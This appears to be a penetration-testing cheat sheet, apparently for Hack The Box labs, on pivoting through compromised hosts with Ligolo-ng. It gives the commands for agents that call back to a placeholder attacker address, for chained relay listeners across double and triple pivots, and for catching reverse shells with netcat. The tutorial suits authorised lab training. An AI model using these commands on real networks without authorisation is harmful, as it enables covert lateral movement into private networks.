Pivoting with Ligolo-ng
Tun-based pivoting end to end: tool setup, exactly which IP goes where, and single, double and triple pivots. Reach deep internal subnets with normal tools, no proxychains.
Which IP goes where (read this first)
The thing that trips everyone up. Keep these straight:
<ATTACKER>= your box (HTB VPN, e.g.10.10.14.5). The Ligolo proxy runs here.<PIVOT1-EXT>= the first target’s IP that you can already reach (the foothold).<PIVOT1-INT>= that same host’s second NIC, on the hidden network (e.g.172.16.1.10).<NET-B>= the new subnet you discover on the pivot (e.g.172.16.1.0/24).
Rule: the agent always dials back to the proxy. For the first hop that is <ATTACKER>. For deeper hops it is a listener on the previous agent, not your box.
Tool setup (one time, on your box)
Create the tun interface:
sudo ip tuntap add user $USER mode tun ligolo
Bring it up:
sudo ip link set ligolo up
Start the proxy:
./proxy -selfcert -laddr 0.0.0.0:11601
Single pivot (you to NET-B)
Run the agent on PIVOT1, dialing your box:
./agent -connect <ATTACKER>:11601 -ignore-cert
Windows agent:
agent.exe -connect <ATTACKER>:11601 -ignore-cert
In the proxy console, select the session:
session
See the pivot’s internal subnets:
ifconfig
Back on your box, route NET-B through ligolo:
sudo ip route add 172.16.1.0/24 dev ligolo
Start the tunnel in the proxy console:
start
Now hit NET-B directly:
nmap -sT -Pn 172.16.1.0/24
Reverse shells from inside NET-B
Internal hosts cannot reach your box, so add a listener on the agent that relays back to you. In the proxy session:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
Point the internal payload at the agent’s internal IP (<PIVOT1-INT>:4444), and catch it on your normal handler:
nc -lvnp 4444
Double pivot (you to NET-C via PIVOT2)
You have a shell on PIVOT2 (a host inside NET-B that also touches NET-C). PIVOT2 cannot reach your box, so it must dial the first agent.
Add a relay listener on AGENT1 that forwards to your proxy port:
listener_add --addr 0.0.0.0:11602 --to <ATTACKER>:11601 --tcp
Run AGENT2 on PIVOT2, dialing PIVOT1’s internal IP on that relay port:
./agent -connect <PIVOT1-INT>:11602 -ignore-cert
In the proxy, switch to the new session:
session
Route NET-C through ligolo as well:
sudo ip route add 172.16.2.0/24 dev ligolo
Start it:
start
Triple pivot (you to NET-D via PIVOT3)
Same pattern, one more hop. Chain a relay on AGENT2 pointing at the AGENT1 relay:
listener_add --addr 0.0.0.0:11603 --to <PIVOT1-INT>:11602 --tcp
Run AGENT3 on PIVOT3, dialing PIVOT2’s internal IP:
./agent -connect <PIVOT2-INT>:11603 -ignore-cert
Add the deepest route and start:
sudo ip route add 172.16.3.0/24 dev ligolo
start
Mental model: each new agent dials the relay on the agent one hop closer to you, and every new subnet needs its own
ip route ... dev ligolo. The tun interface stays the same the whole time.